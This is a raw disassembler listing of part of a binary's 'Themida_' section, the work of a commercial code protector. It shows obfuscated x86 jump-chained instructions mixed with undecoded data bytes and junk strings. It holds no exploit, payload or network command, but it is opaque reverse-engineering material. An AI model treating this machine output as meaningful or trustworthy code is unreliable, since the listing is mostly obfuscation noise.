		dd 8904EC83h, 4B5240Ch,	0FF9323E9h, 3E9C1FFh, 0D1F7D1F7h
		dd 2506B850h, 0CB056F01h, 9C6BD1Ah, 0C18158C1h,	0C2660227h
		dd 0BA52D9F7h, 437F24A3h, 26E9D121h
		db 0CCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54DBDB:				; CODE XREF: Themida_:0054E3AAj
		pop	edx
		pop	edi
		push	3C07h
		mov	[esp], edx
		push	10E5h
		mov	[esp], esi
		push	65725685h
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_547CE8
; ---------------------------------------------------------------------------


loc_54DC03:				; CODE XREF: Themida_:0054EBEAj
		and	eax, ebp
		jmp	loc_547D3C
; ---------------------------------------------------------------------------
		dw 0C330h
		dd 66C0B60Fh, 5524148Bh, 0FFBD25E9h, 4C781FFh, 87000000h
		dd 835C243Ch, 348704C6h, 8AE95C24h, 89FFFFC0h, 0CFE955E6h
		db 25h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54DC37:				; CODE XREF: Themida_:0054C00Fj
		mov	ebp, edx
		jmp	loc_54B1FF
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 86CDE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54DC46:				; CODE XREF: Themida_:0054CD88j
		push	eax
		mov	ah, 1
		jmp	loc_54A5CF
; ---------------------------------------------------------------------------


loc_54DC4E:				; CODE XREF: Themida_:0054DB25j
		push	edx
		push	bx
		jmp	loc_5481FB
; ---------------------------------------------------------------------------
		dw 2489h
		dd 0BE95224h, 4BFFFFC2h, 0EB81D3F7h, 0FC1287B6h, 2734E9h
		dd 8BA5200h, 0E9045D2Bh, 0FFFF9796h, 8051F480h,	0C280F0C4h
		dd 80E2003Bh, 30583BEAh, 24148BD0h, 0FFDFDDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54DC91:				; CODE XREF: Themida_:0054DDA6j
		xchg	eax, [esp]
		jmp	loc_548C15
; ---------------------------------------------------------------------------
		db 42h,	81h, 0E2h
		dd 294B315Dh, 5AF2EA81h, 0D5292FF8h, 8BEB295Ah,	0C481242Ch
		dd 4, 620CBF57h, 0BA521573h, 539D5300h,	0CB3BC281h, 0D701E3E2h
		dd 19FBE9h, 4DBDBF00h, 0E7C16FB0h, 0ACF8105h, 81188362h
		dd 785604EFh, 3EFC117h,	0D1C7814Fh, 89E31D8Bh, 0F16CE9FEh
		dd 335EFFFFh, 0C31240Ch, 240C3324h, 0E924248Bh,	0FFFF9C1Eh
dword_54DD04	dd 24048B66h, 60768h, 10D6E900h	; DATA XREF: Themida_:00544618o
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54DD12:				; CODE XREF: Themida_:00547287j
		std
		push	eax
		push	3A75h
		mov	[esp], ebp
		push	7F07447h
		pop	ebp
		and	ebp, 1AE55C00h
		jmp	loc_54848D
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 57h
		dd 0E9037A47h, 0D50h, 0E9241489h, 0FFFF7E6Bh
; ---------------------------------------------------------------------------


loc_54DD40:				; CODE XREF: Themida_:00547C5Fj
		add	edx, ebp
		jmp	loc_547B3D
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0FFB004E9h, 0E9C131FFh, 0FFFF9ADDh
dword_54DD54	dd 24048B66h, 53E08950h, 0B7019DBBh, 87E3D140h,	87D2F7D3h
					; DATA XREF: Themida_:00544428o
		dd 0B0BA52D3h, 426D9307h, 0FFB63FE9h, 0BF575FFFh, 76029EAh
		dd 71DFC781h, 0BB533263h, 33683526h, 555BDF21h,	23A8E9h
		db 0
; ---------------------------------------------------------------------------


loc_54DD91:				; CODE XREF: Themida_:005466A4j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_54DC91
; ---------------------------------------------------------------------------
		db 89h
		dd 4C781E7h, 81000000h,	4EFh, 243C3300h, 0E9243C31h, 0FFFFC65Eh
; ---------------------------------------------------------------------------


loc_54DDC4:				; CODE XREF: Themida_:0055121Ej
		mov	ebp, [esp]
		add	esp, 4
		push	701Ch
		mov	[esp], edx
		pop	dword ptr [edi+20h]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	6CC9h
		mov	[esp], esi
		mov	esi, 377962AAh
		jmp	loc_54AE77
; ---------------------------------------------------------------------------
aAYfrIs		db 'µÛ€ÅyfR²¨é¸"',0
		dw 500h
		dd 4, 0C7FCE956h, 0EA80FFFFh, 4EC81D9h,	89000000h, 10B62414h
		dd 0E95DB353h, 8Ah, 97E9D5F7h, 81FFFF7Ch, 42404h, 0AE90000h
		dd 0BBFFFFC3h, 8CB47135h, 0D97E9h
		db 0
; ---------------------------------------------------------------------------


loc_54DE3D:				; CODE XREF: Themida_:0054B854j
		push	214Dh
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_54A2BD
; ---------------------------------------------------------------------------
		dd 81E68956h, 4C6h, 4C68300h, 5C243487h, 0EB80C300h, 58C3807Ah
		dd 8904EC83h, 0B652240Ch, 0D898E928h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54DE72:				; CODE XREF: Themida_:00544C80j
		mov	ebp, 7FB07112h
		jmp	loc_54B691
; ---------------------------------------------------------------------------
dword_54DE7C	dd 4EC81h, 0C890000h, 28F66824h, 2C890000h, 0CF685224h
					; DATA XREF: Themida_:00544440o
		dd 8B57A64Ah, 47E92414h
		db 0E4h, 2 dup(0FFh)
byte_54DE9B	db 0FFh			; DATA XREF: Themida_:0054440Co
		dd 75E92434h
		db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54DEA3:				; CODE XREF: Themida_:0054B405j
		xor	eax, ecx
		jmp	loc_54E273
; ---------------------------------------------------------------------------
		dw 0DE30h
		dd 0E9C6FE5Bh, 0FFFF8764h, 0B9240C89h, 4, 8359CA01h, 143304C2h
		dd 24143124h, 5C241433h, 0FF04C483h, 67D1E930h,	2489FFFFh
		dd 24048124h, 4, 0FF8D68E9h, 630805FFh,	0C8B315Fh, 4C48124h
		dd 57000000h, 0DECFE955h
		db 2 dup(0FFh)
word_54DEFA	dw 8B66h		; DATA XREF: Themida_:00544614o
		dd 12E92404h, 58FFFF77h, 83241C8Bh, 143304C4h, 67A6E924h
		dd 8159FFFFh, 0D8255AC3h, 2C79683Ch, 34890000h,	6514BE24h
		dd 0F2296542h, 0FFA41AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54DF2D:				; CODE XREF: Themida_:0054FEABj
		add	ebx, edx
		jmp	loc_5510F2
; ---------------------------------------------------------------------------
		dd 0E99CC884h, 0FFFF7D56h, 4BF57h, 9DE90000h, 57FFFF8Ah
		dd 0F8E95F54h, 87000023h, 665C241Ch, 0E9B1B252h, 0FFFF97E9h
		dd 5437F681h, 0F301076Dh, 8010E95Eh, 0B850FFFFh, 67644672h
		dd 0FF8949E9h, 81E389FFh, 4ECh,	240C8900h, 4BD55h, 13E90000h
		db 86h,	2 dup(0FFh)
byte_54DF8B	db 0FFh			; DATA XREF: Themida_:00544474o
a4S0		db '4$éÍ0',0
		dw 8900h
		dd 88B82404h, 932C60Dh,	0B4E958C6h
		db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54DFA3:				; CODE XREF: Themida_:0054F792j
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	edi
		mov	edi, 4
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp]
		jmp	loc_54CEF9
; ---------------------------------------------------------------------------
		dd 7E09BF57h, 0DFF751D2h, 2588C781h, 0E1E9395Bh
		db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54DFD3:				; CODE XREF: Themida_:0054745Cj
		sub	ch, 30h
		jmp	loc_551105
; ---------------------------------------------------------------------------


loc_54DFDB:				; CODE XREF: Themida_:0054B10Dj
		sub	al, 26h
		mov	dl, al
		pop	eax
		shr	dl, 1
		or	dl, 0C1h
		inc	dl
		jmp	loc_5486BF
; ---------------------------------------------------------------------------
		dd 0F3C2815Fh, 81478465h, 8E5811F2h, 0F7DAF75Fh, 71EA81D2h
		dd 311A3299h, 0F8015AD7h, 2055Fh, 4330000h, 24043124h
		dd 5C240433h, 24048B66h, 0E904EC83h, 0D25h, 395277BFh
		dd 88F78154h, 29ABC6ADh, 0EC815FFEh, 4,	0FFBA2FE9h, 0DCB850FFh
		dd 213E701Ah, 0F76858C2h, 8900004Dh, 90BB241Ch,	81204C4Fh
		dd 0B65180E3h, 34CB8105h, 8136A22Bh, 64315EC3h,	3E3C131h
		dd 0FFF8D9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54E06D:				; CODE XREF: Themida_:00544762j
		push	dword ptr [eax]
		jmp	loc_5446A7
; ---------------------------------------------------------------------------
		dd 0E9242C8Bh, 0FFFFDBA4h, 3FC4BF57h, 1AE973DAh, 89FFFF67h
		dd 0EF6851E2h, 5929007Fh, 0C102E9C1h, 0F18105E9h, 1030218Dh
		dd 522E181h, 0D9F73030h, 2A59E9h
		db 0
; ---------------------------------------------------------------------------


loc_54E0A9:				; CODE XREF: Themida_:005510F6j
		xchg	ebx, [esp]
		mov	esp, [esp]
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_5446A7
; ---------------------------------------------------------------------------
		dd 4EC81h, 24890000h, 24048124h, 4, 0FFD5D8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54E0CD:				; CODE XREF: Themida_:00549AB7j
		push	eax
		push	ecx
		mov	ecx, 31CD50FCh
		sub	ecx, 34FF0C79h
		jmp	loc_54F21F
; ---------------------------------------------------------------------------


loc_54E0DF:				; CODE XREF: Themida_:0054A7B6j
		xchg	ebx, [esp]
		pop	esp
		push	26C1h
		mov	[esp], esi
		jmp	loc_54E818
; ---------------------------------------------------------------------------
		dd 2C8BE929h, 9547E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E0FA:				; CODE XREF: Themida_:00547949j
		pop	esp
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_546A7B
; ---------------------------------------------------------------------------
		db 0B8h
		dd 0FF76C9Ah, 4244431h,	2045E9h, 8CC68100h, 813C4337h
		dd 0CF0F42E6h, 97EE815Ch, 0F74C313Fh, 0BACDE9D6h, 0BE56FFFFh
		dd 5C6277D5h, 882FC681h, 0F101A39Dh, 4C1815Eh, 87000000h
		dd 248B240Ch, 0B3686624h, 1C89661Fh, 0E9535124h, 0FFFF7E9Dh
; ---------------------------------------------------------------------------


loc_54E168:				; CODE XREF: Themida_:0054BA66j
		pop	esi
		not	ebx
		neg	ebx
		inc	ebx
		sub	ebx, 364475B6h
		add	ebp, ebx
		jmp	loc_54EDB3
; ---------------------------------------------------------------------------
a0Fz		db '0ÔfZ',0
aUxaD		db 'ãX€Ãd',0
		dw 80CBh
		dd 0EB8064EBh, 0EC8159BAh, 4, 56241489h, 0F42C0BBEh, 145AE90Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54E1A2:				; CODE XREF: Themida_:0054E78Dj
		rep movsd
		add	esp, [edx+38h]
		push	5402h
		mov	[esp], ecx
		mov	ecx, 73142657h
		push	150Ah
		mov	[esp], esi
		push	667D66FBh
		pop	esi
		shr	esi, 8
		add	esi, 8C855C43h
		jmp	loc_548AFD
; ---------------------------------------------------------------------------


loc_54E1D0:				; CODE XREF: Themida_:0055111Ej
		dec	dl
		not	dl
		shr	dl, 7
		jmp	loc_548DB6
; ---------------------------------------------------------------------------
		dd 8358C189h, 0E98101E9h, 0FFFFFFFFh, 2650F181h, 39E94245h
		dd 0C1FFFF82h, 6807E1h,	29000000h, 8159240Ch, 4748C8F1h
		dd 8E26E95Dh, 2C89FFFFh, 21D1BD24h, 0D5F70F71h,	7BDECD81h
		dd 41E96281h
		db 0F0h, 2 dup(0FFh)
byte_54E21F	db 0FFh			; DATA XREF: Themida_:00544454o
		dd 2CE92434h, 0C1FFFFE4h, 0F78103EFh, 4D853194h, 0E905EFC1h
		dd 23E4h
; ---------------------------------------------------------------------------


loc_54E238:				; CODE XREF: Themida_:0054E3A3j
		mov	[esp], ebx
		mov	ebx, 0C0D175Bh
		xor	ebx, 21A666A3h
		sub	ebx, 2DAB71F4h
		add	eax, ebx
		jmp	loc_54EC62
; ---------------------------------------------------------------------------
		db 29h
		dd 0C3815FFBh, 30D611B2h, 0C32EB81h, 0C2317497h, 0FF643EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54E269:				; CODE XREF: Themida_:005498AFj
		shl	ecx, 6
		push	ecx
		push	ebp
		jmp	loc_54E47D
; ---------------------------------------------------------------------------


loc_54E273:				; CODE XREF: Themida_:0054DEA5j
		pop	ecx
		sub	edi, 3BA163B5h
		add	edi, eax
		jmp	loc_550BF6
; ---------------------------------------------------------------------------
		db 58h,	0E9h, 0Dh
		db 7Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E287:				; CODE XREF: Themida_:00548B95j
		mov	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_544C73
; ---------------------------------------------------------------------------
		db 66h
		dd 30E5B450h, 0B9ABE9E2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E2A2:				; CODE XREF: Themida_:0054EAFBj
		add	ecx, 36EA9294h
		jmp	loc_549858
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 67h
		dd 0E920E422h, 0FFFF662Fh, 5AF42D5Fh, 34FF57C1h, 0ADE95A24h
		dd 0F7FFFFAEh, 0EA8142DAh, 117A6986h, 4059B850h, 3F2D6102h
		dd 0E92E39CFh, 0FFFFB380h
; ---------------------------------------------------------------------------


loc_54E2E0:				; CODE XREF: Themida_:0054DA06j
		mov	esi, 395365AAh
		shl	esi, 1
		push	esi
		sub	esp, 4
		jmp	loc_545726
; ---------------------------------------------------------------------------
		dd 3EFC15Ah, 0EE685256h, 0E963A36Ah, 0FFFF6D74h
; ---------------------------------------------------------------------------


loc_54E300:				; CODE XREF: Themida_:0054EE2Dj
		mov	edx, 475B7754h
		push	edx
		jmp	loc_54C1FC
; ---------------------------------------------------------------------------
		db 68h
		dd 51C00951h, 81242C8Bh, 4C4h, 0E9EA0100h, 0FFFFA7C6h
; ---------------------------------------------------------------------------


loc_54E320:				; CODE XREF: Themida_:0054B7B2j
		mov	ecx, 2000h
		and	eax, ecx
		mov	ecx, [esp]
		push	7618h
		mov	[esp], esi
		mov	esi, esp
		push	ebx
		jmp	loc_54BCC0
; ---------------------------------------------------------------------------


loc_54E33A:				; CODE XREF: Themida_:00551156j
		inc	esi
		add	esi, 7B25C22Bh
		and	ebp, esi
		jmp	loc_551215
; ---------------------------------------------------------------------------
		dd 60BD5550h, 0F737AA42h, 0D5E581D5h, 81090161h, 3CD64CEDh
		dd 5DE88906h, 0E958C789h, 0FFFFAE35h
; ---------------------------------------------------------------------------


loc_54E368:				; CODE XREF: Themida_:00549B98j
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, eax
		mov	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_546E58
; ---------------------------------------------------------------------------
		db 31h,	14h, 24h
		dd 8B241433h, 24D22424h, 14E99C24h, 55FFFF63h, 115BE9h
		db 0
; ---------------------------------------------------------------------------


loc_54E399:				; CODE XREF: Themida_:0054F7F0j
		add	eax, 4
		push	19C3h
		jmp	loc_54E238
; ---------------------------------------------------------------------------


loc_54E3A8:				; CODE XREF: Themida_:00544C20j
		add	eax, edx
		jmp	loc_54DBDB
; ---------------------------------------------------------------------------


loc_54E3AF:				; CODE XREF: Themida_:0054C201j
		mov	edx, [esp]
		add	esp, 4
		sub	edx, 8FC0506h
		jmp	loc_54ED42
; ---------------------------------------------------------------------------
		db 51h
		dd 0FFF2EBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54E3C9:				; CODE XREF: Themida_:005494C2j
		xchg	edi, edx
		xor	edi, edx
		xor	edx, edi
		jmp	loc_546A51
; ---------------------------------------------------------------------------


loc_54E3D4:				; CODE XREF: Themida_:0054B53Ej
		shr	ebp, 6
		shl	ebp, 4
		push	eax
		mov	eax, 3FD77FB4h
		xor	ebp, eax
		mov	eax, [esp]
		jmp	loc_548A71
; ---------------------------------------------------------------------------


loc_54E3EA:				; CODE XREF: Themida_:0054ECEDj
		and	eax, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		shr	eax, 0Ah
		xor	eax, ecx
		push	795Eh
		mov	[esp], eax
		jmp	loc_54947F
; ---------------------------------------------------------------------------
		align 2
		dw 2CD8h
		dd 0E9792CDBh, 0FFFF7B41h
dword_54E410	dd 9D1C77FFh, 24041158h, 0B65CE99Ch ; DATA XREF: Themida_:00544588o
		db 2 dup(0FFh)
word_54E41E	dw 8B66h		; DATA XREF: Themida_:005444E8o
		dd 0EC83240Ch, 240C8904h, 240C8B54h, 4C481h, 0BB530000h
		dd 4, 0FFE1DEE9h, 81E689FFh, 4C6h, 4C68100h, 87000000h
		dd 0E95C2434h, 0FFFFF7B6h
; ---------------------------------------------------------------------------


loc_54E454:				; CODE XREF: Themida_:005464AAj
		pop	edx
		xor	eax, edx
		xor	edx, eax
		jmp	loc_54EE23
; ---------------------------------------------------------------------------
		dw 483h
		dd 5580424h, 4,	42Dh, 0E429E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E472:				; CODE XREF: Themida_:00549069j
		add	edx, 2FE356DDh
		jmp	loc_550B0D
; ---------------------------------------------------------------------------


loc_54E47D:				; CODE XREF: Themida_:0054E26Ej
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_546712
; ---------------------------------------------------------------------------


loc_54E48B:				; CODE XREF: Themida_:0054CD1Bj
		sub	edx, 79D7550Eh
		dec	edx
		neg	edx
		push	esi
		push	edi
		jmp	loc_54A91C
; ---------------------------------------------------------------------------


loc_54E49B:				; CODE XREF: Themida_:0054FAD1j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5497A7
; ---------------------------------------------------------------------------
		dw 0E334h
		dd 8358C328h, 53E904ECh, 4FFFFF90h, 0DCF0B951h,	0CF291C9Dh
		dd 5FFA8959h, 0EA81DAF7h, 5C3A0364h, 0C103F281h, 0EE815B6Fh
		dd 64D71DAEh, 0FFC4B7E9h
		db 0FFh
byte_54E4D9	db 0FFh, 34h, 24h	; DATA XREF: Themida_:0054444Co
		dd 0D033E959h, 5866FFFFh, 80EFE380h, 0E380E4E3h, 5BEB805Eh
		dd 535BDA88h, 0FF78DCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54E4F9:				; CODE XREF: Themida_:00550035j
		mov	esi, 6001A99Ch
		sub	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		mov	edi, ecx
		pop	ecx
		jmp	loc_547FEF
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 1EB205F3h, 815BDD31h, 2E61E7E5h, 73ED816Ch, 893A34C8h
		dd 242C8BEFh, 4C481h, 0F7810000h, 7F434D90h, 0E95FF829h
		dd 0BDCh
dword_54E53C	dd 9C241CF6h, 0FF6162E9h ; DATA	XREF: Themida_:00544548o
		db 0FFh
; ---------------------------------------------------------------------------


loc_54E545:				; CODE XREF: Themida_:0054A5D2j
		add	cl, 6Ch
		add	bl, 76h
		add	bl, 66h
		sub	bl, cl
		sub	bl, 66h
		jmp	loc_5513AB
; ---------------------------------------------------------------------------
		dd 0FC95E941h, 0C8BFFFFh, 0F8E6E924h, 0D868FFFFh, 89000072h
		dd 0E9242Ch
		db 88h,	2 dup(0FFh)
byte_54E573	db 66h			; DATA XREF: Themida_:00544598o
		dd 83240C8Bh, 48904ECh,	4EC8124h, 89000000h, 65E92424h
		dd 55FFFFE3h, 0D64EAABDh, 0A4F58143h, 293E301Bh, 0D72E9E8h
		dd 0B4500000h, 58E188F1h, 0FF78CDE9h, 0B3F681FFh, 812E6E29h
		dd 0EC0C7EE6h, 0B8EEE965h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E5BA:				; CODE XREF: Themida_:0054EB42j
		and	eax, edi
		jmp	loc_550838
; ---------------------------------------------------------------------------
		db 31h,	14h, 24h
aXh		db 'Xh*"',0
		align 2
		dw 2C89h
		dd 0E95D5024h, 0FFFF9934h
; ---------------------------------------------------------------------------


loc_54E5D4:				; CODE XREF: Themida_:0054865Dj
		pop	ebx
		mov	esi, ecx
		pop	ecx
		jmp	loc_54EB3F
; ---------------------------------------------------------------------------


loc_54E5DD:				; CODE XREF: Themida_:0054B376j
		xor	ebp, 48904B45h
		shl	ebp, 4
		push	ecx
		jmp	loc_54CAFC
; ---------------------------------------------------------------------------


loc_54E5EC:				; CODE XREF: Themida_:0054EA21j
		inc	edx
		jmp	loc_549303
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 399558AAh, 8244C01h,	0FF9501E9h, 2E9C0FFh, 0FEFFC180h
		dd 158AE9C9h, 815B0000h, 0DEBFB4C1h, 2A5CE9FFh,	74010000h
		dd 0DAE90424h, 29000007h, 243C8BF8h, 2D04C483h,	372F65AFh
		dd 5BDBB951h, 0D9F715B2h, 9D2E9h, 0D8F75F00h, 0E908E8C1h
		dd 0FFFF95DEh, 0B8h, 89C82900h,	24048BC1h, 4C481h, 0E1C10000h
		dd 5E1C105h, 92D5BE56h,	0F1017C70h, 7CE9E95Eh, 0ED81FFFFh
		dd 4FB97710h, 21399805h, 0E9E80125h, 0FFFF9E36h
; ---------------------------------------------------------------------------


loc_54E680:				; CODE XREF: Themida_:00546CDCj
		mov	ebp, 1A895707h
		xor	ebp, 49E178E5h
		jmp	loc_54AA98
; ---------------------------------------------------------------------------


loc_54E690:				; CODE XREF: Themida_:0054B2E9j
		add	esp, 4
		push	eax
		jmp	loc_548B47
; ---------------------------------------------------------------------------
		db 5Dh,	29h, 0FBh
		dd 6C80EB81h, 34FF6D34h, 0C4815F24h, 4,	3825B850h, 0CE913CAh
		dd 80FFFFC0h, 48B13C5h,	4C48324h, 51CFED80h, 116BE9h, 39AFBD00h
		dd 84E94378h, 0F7000001h, 9CEF81D7h, 0E9C05992h, 0FFFFA594h
		dd 0D4E9F201h
		db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E6E7:				; CODE XREF: Themida_:00550DB9j
		mov	edx, 103D241Ah
		shr	edx, 7
		shl	edx, 2
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_546C90
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 1ABE9h, 78C18100h, 0E9162F30h, 0FFFF8FDBh, 962320BEh
		dd 246C8105h, 99586204h, 2474290Bh, 0E558E904h,	0E781FFFFh
		dd 520428B0h, 0FF97E955h, 515EFFFFh, 320211B9h,	59C80148h
		dd 0FFE3CCE9h, 4C483FFh, 0FFC5C2E9h
		db 0FFh
byte_54E749	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:00544468o
		dd 0FFEC01E9h, 0C6C381FFh, 507FB423h, 0B8h, 0E9D80100h
		dd 0FFFF9670h, 0E9C5015Dh, 0FFFF6C28h, 0DA6D80BEh, 56464E2Eh
		dd 5E240CFFh, 0FF7C48E9h, 895158FFh, 38E957E1h
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E787:				; CODE XREF: Themida_:0054BBA3j
		add	esp, 4
		jmp	loc_54E1A2
; ---------------------------------------------------------------------------
word_54E792	dw 4ACh			; DATA XREF: Themida_:005445C4o
		dd 0B9B55192h, 0E828A02Ch, 0FF8091E9h, 5AD000FFh, 0FC3305Bh
		dd 5AE9C0B6h, 21FFFF6Dh, 0EAD15BDAh, 28CC281h, 0D709719Ch
		dd 18D7E9h, 24148B00h, 4C481h, 0B1E90000h, 52FFFF69h, 637FD1BAh
		dd 79FDE97Ah, 0D2F7FFFFh, 6220F281h, 0D3291D62h, 6851555Ah
		dd 14B86B58h, 0C1814159h, 1B02DA98h, 0CBE9CD89h, 89FFFFC2h
		dd 4B9240Ch, 1000000h, 0C08359C8h, 24048702h, 0B30F665Ch
		dd 0E99C2404h, 0FFFF5E8Fh
; ---------------------------------------------------------------------------


loc_54E818:				; CODE XREF: Themida_:0054E0EBj
		push	esp
		pop	esi
		push	ecx
		jmp	loc_5466E2
; ---------------------------------------------------------------------------
		dd 81FFED83h, 43502EEDh, 51DDF765h, 1564E9h
		db 0
; ---------------------------------------------------------------------------


loc_54E831:				; CODE XREF: Themida_:005462DDj
		push	esi
		sub	esp, 4
		jmp	loc_54D4CC
; ---------------------------------------------------------------------------


loc_54E83A:				; CODE XREF: Themida_:0054B698j
		and	ebp, 68AC2955h
		push	edx
		jmp	loc_54977F
; ---------------------------------------------------------------------------
		dw 0C680h
		dd 5AF43093h, 52F0F480h, 58E93FB2h, 1FFFFCCh, 0F4E95DEFh
		dd 28FFFFF9h, 2C8A242Ch, 2C48324h, 0FF8A42E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54E86D:				; CODE XREF: Themida_:0054BE49j
		mov	ebx, 46314FA8h
		dec	ebx
		shr	ebx, 5
		add	ebx, 0D28D1B0h
		push	ebx
		mov	ebx, 693F002Bh
		add	eax, ebx
		mov	ebx, [esp]
		jmp	loc_54EA6F
; ---------------------------------------------------------------------------
dword_54E88C	dd 0DCBBE9ADh, 489FFFFh, 0E9B9E924h ; DATA XREF: Themida_:00544558o
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E89A:				; CODE XREF: Themida_:00546E02j
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_547532
; ---------------------------------------------------------------------------
word_54E8A6	dw 8B66h		; DATA XREF: Themida_:005444D0o
		dd 0E9552404h, 28E9h, 8B24048Fh, 4082424h, 0E8E99C24h
		dd 81FFFF5Dh, 42404h, 42E90000h
		db 2Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54E8CB:				; CODE XREF: Themida_:0054BCCEj
		push	55EDh
		mov	[esp], ebp
		mov	ebp, 3C2327B4h
		add	ebp, 66047656h
		push	edi
		push	esi
		jmp	loc_547D81
; ---------------------------------------------------------------------------


loc_54E8E5:				; CODE XREF: Themida_:0054B5D4j
		add	esp, 4
		add	esp, 4
		or	eax, eax
		jz	loc_55018D
		sub	esp, 4
		mov	[esp], eax
		push	edi
		push	esi
		mov	esi, 66675779h
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_549AC5
; ---------------------------------------------------------------------------
aSiuhM		db 'S‰ãh×M',0
		dw 8900h
		dd 0D4BA2414h, 81470906h, 967E65CAh, 0A8E2817Ah, 0F7081535h
		dd 80EA81D2h, 81867576h, 0B31035CAh, 9237E972h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E93A:				; CODE XREF: Themida_:00550CD3j
		pop	ebp
		jmp	loc_54D671
; ---------------------------------------------------------------------------
a_hb		db '_hb!',0
		align 2
aS_5		db 'é',1Bh,'&',0
		db 0
; ---------------------------------------------------------------------------


loc_54E94B:				; CODE XREF: Themida_:00551265j
		push	ebp
		mov	ebp, 505321AAh
		not	ebp
		add	ebp, 984370Ch
		add	ebp, 0A3192CFFh
		push	ebp
		pop	esi
		pop	ebp
		or	esi, 57221C56h
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5485D1
; ---------------------------------------------------------------------------
		db 49h
		dd 2D404091h, 0AA0A8517h, 0FF95D6E9h
		db 0FFh
byte_54E981	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:005445C0o
		dd 0BC9EE924h, 8950FFFFh, 405E0h, 0E9520000h, 0FFFF7797h
		dd 5D2DF801h, 8B3E4169h, 0C483243Ch, 4EC8304h, 52243C89h
		dd 0A1543D68h, 24148B4Fh, 0FFB62BE9h, 0C3BF57FFh, 2912A435h
		dd 5F08247Ch, 0FFF5A1E9h, 0E1F766FFh, 428568h, 24048900h
		dd 2434FF54h, 4C48158h,	0E9000000h, 0FFFFF41Bh,	468h, 0A7FFE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E9EE:				; CODE XREF: Themida_:0054EFBEj
		mov	ecx, [eax]
		jmp	loc_5458F6
; ---------------------------------------------------------------------------
		db 0B4h, 0CFh, 0E9h
		dd 0FFFF7EDCh, 0E9240C89h, 0FFFF7C4Ch, 0A310E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54EA0A:				; CODE XREF: Themida_:0054769Dj
		push	edi
		mov	edi, 68455C6Ch
		and	edi, 6B0A6DACh
		jmp	loc_54548B
; ---------------------------------------------------------------------------


loc_54EA1B:				; CODE XREF: Themida_:00550885j
		push	edx
		mov	edx, 780D0057h
		jmp	loc_54E5EC
; ---------------------------------------------------------------------------


loc_54EA26:				; CODE XREF: Themida_:0054532Aj
		add	ebp, edi
		add	ebp, 42BA7BABh
		pop	edi
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_550C5F
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 5AC9219Eh, 405EF009h, 103C4005h, 0CE32055Ah,	0C501B0D8h
		dd 8ABB5358h, 43716F6Bh, 0A397C381h, 0D929CF7Fh, 0B435E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54EA66:				; CODE XREF: Themida_:00547D5Bj
		push	dword ptr [esp+4]
		jmp	loc_549AD2
; ---------------------------------------------------------------------------


loc_54EA6F:				; CODE XREF: Themida_:0054E887j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	eax, 462527CFh
		jmp	loc_54A043
; ---------------------------------------------------------------------------
